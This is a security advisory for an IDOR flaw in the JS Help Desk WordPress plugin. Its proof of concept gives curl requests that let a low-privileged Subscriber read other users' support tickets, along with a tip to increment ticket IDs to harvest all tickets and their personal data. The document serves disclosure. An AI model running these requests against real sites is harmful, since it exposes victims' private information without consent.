JS Help Desk – AI-Powered Support & Ticketing System < 3.1.5 – Subscriber+ Cross-User Support Ticket Disclosure via IDOR | CVE 2026-15209

Description

The plugin does not verify that the requesting user owns the ticket being loaded: a low-privileged authenticated user can supply another user's ticket ID and read that ticket's contents, including the reporter's PII and message body.

Proof of Concept

Prerequisites: JS Help Desk <= 3.1.4 active; the control-panel page published; a victim ticket exists (IDs enumerable from 1..N). A logged-in Subscriber account (self-registerable where registration is open, or any low-privilege account).

Setup (as the victim, via the normal front-end Add Ticket form): submit a ticket with distinctive subject/message/phone/email/name.

Exploit - as a logged-in Subscriber, read another user's ticket by ID:
curl -s -b "<subscriber session cookies>" \
  'https://victim.example/js-support-ticket-controlpanel/?jstmod=ticket&jstlay=addticket&jssupportticketid=1'
=> the response renders the victim's ticket in the edit-form fields (subject, email, phone, name) and the message body in a textarea. Increment jssupportticketid to harvest every ticket.

Negative control (the ownership-enforced sibling does NOT leak):
curl -s -b "<subscriber session cookies>" \
  'https://victim.example/js-support-ticket-controlpanel/?jstmod=ticket&jstlay=ticketdetail&jssupportticketid=1'
=> victim data absent; "not allowed" / permission message.